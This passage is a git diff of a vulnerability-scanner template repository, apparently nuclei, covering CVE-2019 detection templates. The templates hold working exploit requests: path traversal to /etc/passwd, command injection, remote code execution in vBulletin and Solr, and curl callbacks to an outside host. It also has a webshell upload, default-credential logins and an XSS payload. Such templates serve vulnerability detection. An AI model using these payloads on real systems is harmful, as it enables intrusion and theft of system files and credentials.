CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-16123 - cwe-id: CWE-22 - tags: cve,cve2019,piluscart,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-16662.yaml b/nuclei-templates/CVE-2019/CVE-2019-16662.yaml deleted file mode 100644 index e0202b6176..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-16662.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2019-16662 - -info: - name: rConfig 3.9.2 - Remote Code Execution - author: pikpikcu - severity: critical - description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution. - reference: - - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-16662 - - https://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnu - - http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-16662 - cwe-id: CWE-78 - cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:* - epss-score: 0.97495 - metadata: - max-request: 1 - tags: intrusive,rconfig,packetstorm,cve,cve2019,rce - -http: - - method: GET - path: - - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - -# Enhanced by mp on 2022/03/29 diff --git a/nuclei-templates/CVE-2019/CVE-2019-16759.yaml b/nuclei-templates/CVE-2019/CVE-2019-16759.yaml deleted file mode 100644 index 329277e986..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-16759.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2019-16759 - -info: - name: vBulletin 5.0.0-5.5.4 - Remote Command Execution - author: madrobot - severity: critical - description: vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. - reference: - - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/ - - https://seclists.org/fulldisclosure/2019/Sep/31 - - https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-16759 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-16759 - cwe-id: CWE-94 - cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:* - epss-score: 0.97528 - metadata: - max-request: 1 - shodan-query: http.component:"vBulletin" - verified: "true" - tags: cve,cve2019,rce,kev,seclists,vbulletin - -http: - - raw: - - | - POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B - - matchers-condition: and - matchers: - - - type: word - words: - - "addcc9f9f2f40e2e6aca3079b73d9d17" - - - type: status - status: - - 200 - -# Enhanced by md on 2023/03/20 diff --git a/nuclei-templates/CVE-2019/cve-2019-17270.yaml b/nuclei-templates/CVE-2019/CVE-2019-17270.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-17270.yaml rename to nuclei-templates/CVE-2019/CVE-2019-17270.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-17382.yaml b/nuclei-templates/CVE-2019/CVE-2019-17382.yaml deleted file mode 100644 index a8a482a591..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-17382.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2019-17382 - -info: - name: Zabbix <=4.4 - Authentication Bypass - author: harshbothra_ - severity: critical - description: Zabbix through 4.4 is susceptible to an authentication bypass vulnerability via zabbix.php?action=dashboard.view&dashboardid=1. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin. - reference: - - https://www.exploit-db.com/exploits/47467 - - https://nvd.nist.gov/vuln/detail/CVE-2019-17382 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - cvss-score: 9.1 - cve-id: CVE-2019-17382 - cwe-id: CWE-639 - cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:* - epss-score: 0.12648 - tags: fuzz,auth-bypass,login,edb,cve,cve2019,zabbix - metadata: - max-request: 100 - -http: - - raw: - - | - GET /zabbix.php?action=dashboard.view&dashboardid={{ids}} HTTP/1.1 - Host: {{Hostname}} - - payloads: - ids: helpers/wordlists/numbers.txt - - threads: 50 - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - "Dashboard" - - - type: status - status: - - 200 - - -# Enhanced by mp on 2022/05/16 diff --git a/nuclei-templates/CVE-2019/CVE-2019-17444.yaml b/nuclei-templates/CVE-2019/CVE-2019-17444.yaml deleted file mode 100644 index d7bb5dd6b7..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-17444.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2019-17444 - -info: - name: Jfrog Artifactory <6.17.0 - Default Admin Password - author: pdteam - severity: critical - description: | - Jfrog Artifactory prior to 6.17.0 uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory. - reference: - - https://www.jfrog.com/confluence/display/JFROG/Artifactory+Release+Notes - - https://www.jfrog.com/confluence/display/JFROG/JFrog+Artifactory - - https://nvd.nist.gov/vuln/detail/CVE-2019-17444 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-17444 - cwe-id: CWE-521 - tags: cve,cve2019,jfrog,default-login - -requests: - - raw: - - | - POST /ui/api/v1/ui/auth/login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json;charset=UTF-8 - X-Requested-With: XMLHttpRequest - Origin: {{RootURL}} - - {"user":"admin","password":"password","type":"login"} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"name":"admin"' - - '"admin":true' - condition: and - - - type: status - status: - - 200 -# Enhanced by mp on 2022/05/16 diff --git a/nuclei-templates/CVE-2019/CVE-2019-17506.yaml b/nuclei-templates/CVE-2019/CVE-2019-17506.yaml deleted file mode 100644 index edf868dd98..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-17506.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2019-17506 - -info: - name: D-Link DIR-868L/817LW - Information Disclosure - author: pikpikcu - severity: critical - description: | - D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers are vulnerable to information disclosure vulnerabilities because certain web interfaces do not require authentication. An attacker can get the router's username and password (and other information) via a DEVICE.ACCOUNT value for SERVICES in conjunction with AUTHORIZED_GROUP=1%0a to getcfg.php. This could be used to control the router remotely. - reference: - - https://github.com/dahua966/Routers-vuls/blob/master/DIR-868/name%26passwd.py - - https://nvd.nist.gov/vuln/detail/CVE-2019-17506 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-17506 - cwe-id: CWE-306 - epss-score: 0.92946 - tags: cve,cve2019,dlink,router,disclosure - metadata: - max-request: 1 - -http: - - method: POST - path: - - "{{BaseURL}}/getcfg.php" - - body: | - SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a - headers: - Content-Type: text/xml - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - "DEVICE.ACCOUNT" - condition: and - - - type: status - status: - - 200 -# Enhanced by mp on 2022/05/16 diff --git a/nuclei-templates/CVE-2019/cve-2019-17538.yaml b/nuclei-templates/CVE-2019/CVE-2019-17538.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-17538.yaml rename to nuclei-templates/CVE-2019/CVE-2019-17538.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-17558.yaml b/nuclei-templates/CVE-2019/CVE-2019-17558.yaml deleted file mode 100644 index 6009bff30d..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-17558.yaml +++ /dev/null @@ -1,74 +0,0 @@ -id: CVE-2019-17558 - -info: - name: Apache Solr <=8.3.1 - Remote Code Execution - author: pikpikcu,madrobot - severity: high - description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user). - remediation: | - Upgrade to a patched version of Apache Solr (8.4.0 or later) to mitigate this vulnerability. - reference: - - https://issues.apache.org/jira/browse/SOLR-13971 - - https://nvd.nist.gov/vuln/detail/CVE-2019-17558 - - https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E - - http://packetstormsecurity.com/files/157078/Apache-Solr-8.3.0-Velocity-Template-Remote-Code-Execution.html - - https://lists.apache.org/thread.html/r0b7b9d4113e6ec1ae1d3d0898c645f758511107ea44f0f3a1210c5d5@%3Cissues.lucene.apache.org%3E - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.5 - cve-id: CVE-2019-17558 - cwe-id: CWE-74 - epss-score: 0.97507 - epss-percentile: 0.9998 - cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:* - metadata: - max-request: 3 - vendor: apache - product: solr - tags: kev,packetstorm,cve,cve2019,apache,rce,solr,oast - -http: - - raw: - - | - GET /solr/admin/cores?wt=json HTTP/1.1 - Host: {{Hostname}} - - | - POST /solr/{{core}}/config HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - { - "update-queryresponsewriter": { - "startup": "lazy", - "name": "velocity", - "class": "solr.VelocityResponseWriter", - "template.base.dir": "", - "solr.resource.loader.enabled": "true", - "params.resource.loader.enabled": "true" - } - } - - | - GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 - Host: {{Hostname}} - Connection: close - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: status - status: - - 200 - - extractors: - - type: regex - name: core - group: 1 - regex: - - '"name"\:"(.*?)"' - internal: true - -# digest: 4b0a00483046022100d95ae2fde11c073cfb8300dbe88398c8516603bb4a679c01eadd13c285c3934c02210095bb54e1c435ffb3f579c033627a1769da0f8a3db882b32e06bbf44deea77ba3:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2019/CVE-2019-18393.yaml b/nuclei-templates/CVE-2019/CVE-2019-18393.yaml deleted file mode 100644 index f85c69cf93..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-18393.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2019-18393 - -info: - name: Ignite Realtime Openfire <4.42 - Local File Inclusion - author: pikpikcu - severity: medium - description: Ignite Realtime Openfire through 4.4.2 is vulnerable to local file inclusion via PluginServlet.java. It does not ensure that retrieved files are located under the Openfire home directory. - reference: - - https://github.com/igniterealtime/Openfire/pull/1498 - - https://swarm.ptsecurity.com/openfire-admin-console/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-18393 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2019-18393 - cwe-id: CWE-22 - cpe: cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:* - epss-score: 0.00161 - tags: cve,cve2019,openfire,lfi - metadata: - max-request: 1 - -http: - - method: GET - path: - - '{{BaseURL}}/plugins/search/..\..\..\conf\openfire.xml' - - matchers-condition: and - matchers: - - type: word - words: - - "org.jivesoftware.database.EmbeddedConnectionProvider" - - "Most properties are stored in the Openfire database" - part: body - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/22 diff --git a/nuclei-templates/CVE-2019/CVE-2019-18665.yaml b/nuclei-templates/CVE-2019/CVE-2019-18665.yaml deleted file mode 100644 index 36b4018e5a..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-18665.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2019-18665 -info: - name: DOMOS 5.5 - Directory Traversal - author: 0x_Akoko - severity: high - description: | - The Log module in SECUDOS DOMOS before 5.6 allows local file inclusion. - reference: - - https://atomic111.github.io/article/secudos-domos-directory_traversal - - https://vuldb.com/?id.144804 - - https://www.cvedetails.com/cve/CVE-2019-18665 - - https://www.secudos.de/news-und-events/aktuelle-news/domos-release-5-6 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-18665 - cwe-id: CWE-22 - tags: cve,cve2019,domos,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-20183.yaml b/nuclei-templates/CVE-2019/CVE-2019-20183.yaml new file mode 100644 index 0000000000..8bf177b28d --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-20183.yaml @@ -0,0 +1,54 @@ +id: CVE-2019-20183 + +info: + name: Simple Employee Records System 1.0 arbitrary file upload + author: pikpikcu + severity: high + description: Simple Employee Records System 1.0 contains an arbitrary file upload due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or RCE. + reference: + - https://www.exploit-db.com/exploits/49596 + - https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2019-20183 + cwe-id: CWE-434 + tags: rce,intrusive,cve,upload,cve2019 + +requests: + - raw: + - | + POST /dashboard/uploadID.php HTTP/1.1 + Host: {{Hostname}} + Accept: application/json, text/javascript, */*; q=0.01 + X-Requested-With: XMLHttpRequest + Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337 + + -----------------------------5825462663702204104870787337 + Content-Disposition: form-data; name="employee_ID"; filename="poc.php" + Content-Type: image/png + + + -----------------------------5825462663702204104870787337-- + + - | + GET /uploads/employees_ids/{{endpoint}}?cmd=cat%20/etc/passwd HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: regex + name: endpoint + part: body + internal: true + regex: + - '(?:[a-zA-Z0-9+\/])*_poc.php' + + matchers: + - type: regex + regex: + - "root:.*:0:0:" + condition: and + part: body diff --git a/nuclei-templates/CVE-2019/CVE-2019-20224.yaml b/nuclei-templates/CVE-2019/CVE-2019-20224.yaml deleted file mode 100644 index b7a2d0559b..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-20224.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2019-20224 -info: - name: Pandora FMS 7.0NG - Remote Command Injection - author: ritikchaddha - severity: high - description: | - Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ip_src parameter in an index.php?operation/netflow/nf_live_view request. - reference: - - https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/ - - https://gist.github.com/mhaskar/2153d66a0928492d76b799ba13b9e3f9 - - https://nvd.nist.gov/vuln/detail/CVE-2019-20224 - - https://drive.google.com/file/d/1DkWR5MylzeNr20jmHXTaAIJmf3YN-lnO/view - remediation: This issue has been fixed in Pandora FMS 7.0 NG 742. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2019-20224 - cwe-id: CWE-78 - tags: pandorafms,rce,cve,cve2019,authenticated,oast -requests: - - raw: - - | - POST /pandora_console/index.php?login=1 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - nick=admin&pass=admin&login_button=Login - - | - POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{interactsh-url}}+%23&draw_button=Draw - cookie-reuse: true - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - name: http - words: - - "http" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/17 diff --git a/nuclei-templates/CVE-2019/CVE-2019-20933.yaml b/nuclei-templates/CVE-2019/CVE-2019-20933.yaml deleted file mode 100644 index c690a67121..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-20933.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2019-20933 -info: - name: InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret - author: c-sh0 - severity: critical - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-20933 - - https://github.com/influxdata/influxdb/issues/12927 - - https://github.com/c-sh0/security/blob/master/influxdb.txt - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2019-20933 - cwe-id: CWE-287 - tags: cve,cve-2019,influxdb,auth-bypass -requests: - - method: GET - path: - - "{{BaseURL}}/query?q=SHOW%20DATABASES" - headers: - Authorization: Bearer {{token}} - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: body - words: - - '"results":' - - '"name":"databases"' - condition: and diff --git a/nuclei-templates/CVE-2019/CVE-2019-2578.yaml b/nuclei-templates/CVE-2019/CVE-2019-2578.yaml deleted file mode 100644 index 304aef45af..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-2578.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2019-2578 - -info: - name: Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - Broken Access Control - author: leovalcante - severity: high - description: Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 suffers from broken access control. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. - reference: - - https://www.oracle.com/security-alerts/cpuapr2019.html - - https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites - - https://nvd.nist.gov/vuln/detail/CVE-2019-2578 - - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - cvss-score: 8.6 - cve-id: CVE-2019-2578 - tags: cve,cve2019,oracle,wcs,auth-bypass - -requests: - - raw: - - | - GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1 - Host: {{Hostname}} - - - | - GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1 - Host: {{Hostname}} - - stop-at-first-match: true - matchers: - - type: regex - part: body - regex: - - '' - - -# Enhanced by mp on 2022/05/04 diff --git a/nuclei-templates/CVE-2019/cve-2019-2579.yaml b/nuclei-templates/CVE-2019/CVE-2019-2579.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-2579.yaml rename to nuclei-templates/CVE-2019/CVE-2019-2579.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-3396.yaml b/nuclei-templates/CVE-2019/CVE-2019-3396.yaml deleted file mode 100644 index eee51fae30..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-3396.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2019-3396 - -info: - name: Atlassian Confluence Server - Path Traversal - author: harshbothra_ - severity: critical - description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection. - reference: - - https://github.com/x-f1v3/CVE-2019-3396 - - https://nvd.nist.gov/vuln/detail/CVE-2019-3396 - - https://jira.atlassian.com/browse/CONFSERVER-57974 - - http://packetstormsecurity.com/files/152568/Atlassian-Confluence-Widget-Connector-Macro-Velocity-Template-Injection.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-3396 - cwe-id: CWE-22 - epss-score: 0.97503 - metadata: - max-request: 1 - shodan-query: http.component:"Atlassian Confluence" - tags: cve,cve2019,atlassian,confluence,lfi,rce,kev,packetstorm - -http: - - raw: - - | - POST /rest/tinymce/1/macro/preview HTTP/1.1 - Host: {{Hostname}} - Referer: {{Hostname}} - - {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "contextConfigLocation" - -# Enhanced by mp on 2022/05/03 diff --git a/nuclei-templates/CVE-2019/CVE-2019-3799.yaml b/nuclei-templates/CVE-2019/CVE-2019-3799.yaml deleted file mode 100644 index 167e2d5f81..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-3799.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2019-3799 - -info: - name: Spring-Cloud-Config-Server Directory Traversal - author: madrobot - severity: medium - description: Spring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack. - reference: - - https://github.com/mpgn/CVE-2019-3799 - - https://pivotal.io/security/cve-2019-3799 - - https://www.oracle.com/security-alerts/cpuapr2022.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - cvss-score: 6.5 - cve-id: CVE-2019-3799 - cwe-id: CWE-22 - tags: cve,cve2019,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - 'root:.*:0:0:' - part: body diff --git a/nuclei-templates/CVE-2019/CVE-2019-3911.yaml b/nuclei-templates/CVE-2019/CVE-2019-3911.yaml new file mode 100644 index 0000000000..a5b28cb3f1 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-3911.yaml @@ -0,0 +1,49 @@ +id: CVE-2019-3911 + +info: + name: LabKey Server Community Edition <18.3.0 - Cross-Site Scripting + author: princechaddha + severity: medium + description: LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript. + remediation: | + Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate this vulnerability. + reference: + - https://www.tenable.com/security/research/tra-2019-03 + - https://nvd.nist.gov/vuln/detail/CVE-2019-3911 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2019-3911 + cwe-id: CWE-79 + epss-score: 0.00195 + epss-percentile: 0.57252 + cpe: cpe:2.3:a:labkey:labkey_server:*:*:community:*:*:*:*:* + metadata: + max-request: 1 + vendor: labkey + product: labkey_server + shodan-query: 'Server: Labkey' + tags: cve,cve2019,xss,labkey,tenable + +http: + - method: GET + path: + - '{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# digest: 490a0046304402202bf0078d62e0350e5e401a105a7e53f9476d015381482fd868f86d1dbe61c9b202201a4fb2ce9eaa297b59eeb3f2c87657373e45d90db8c7213355fee67d79893dbc:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2019/CVE-2019-3912.yaml b/nuclei-templates/CVE-2019/CVE-2019-3912.yaml deleted file mode 100644 index 72ca79216b..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-3912.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2019-3912 - -info: - name: LabKey Server < 18.3.0 - Open redirect - author: 0x_Akoko - severity: medium - description: An open redirect vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 via the /__r1/ returnURL parameter allows an unauthenticated remote attacker to redirect users to arbitrary web sites. - reference: - - https://www.tenable.com/security/research/tra-2019-03 - - https://www.cvedetails.com/cve/CVE-2019-3912 - tags: cve,cve2019,redirect,labkey - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2019-3912 - cwe-id: CWE-601 - -requests: - - method: GET - - path: - - '{{BaseURL}}/labkey/__r1/login-login.view?returnUrl=http://example.com' - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' - part: header diff --git a/nuclei-templates/CVE-2019/cve-2019-5127.yaml b/nuclei-templates/CVE-2019/CVE-2019-5127.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-5127.yaml rename to nuclei-templates/CVE-2019/CVE-2019-5127.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-5418.yaml b/nuclei-templates/CVE-2019/CVE-2019-5418.yaml deleted file mode 100644 index 8313d1a869..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-5418.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2019-5418 - -info: - name: Rails File Content Disclosure - author: omarkurt - severity: high - description: Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed. - reference: - - https://github.com/omarkurt/CVE-2019-5418 - - https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-5418 - - https://www.exploit-db.com/exploits/46585/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-5418 - tags: cve,cve2019,rails,lfi,disclosure - -requests: - - method: GET - path: - - "{{BaseURL}}" - headers: - Accept: ../../../../../../../../etc/passwd{{ - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body - -# Enhanced by mp on 2022/04/12 diff --git a/nuclei-templates/CVE-2019/CVE-2019-6340.yaml b/nuclei-templates/CVE-2019/CVE-2019-6340.yaml deleted file mode 100644 index e6d6680309..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-6340.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2019-6340 -info: - name: Drupal 8 core RESTful Web Services RCE - author: madrobot - severity: high - description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases. - reference: - - 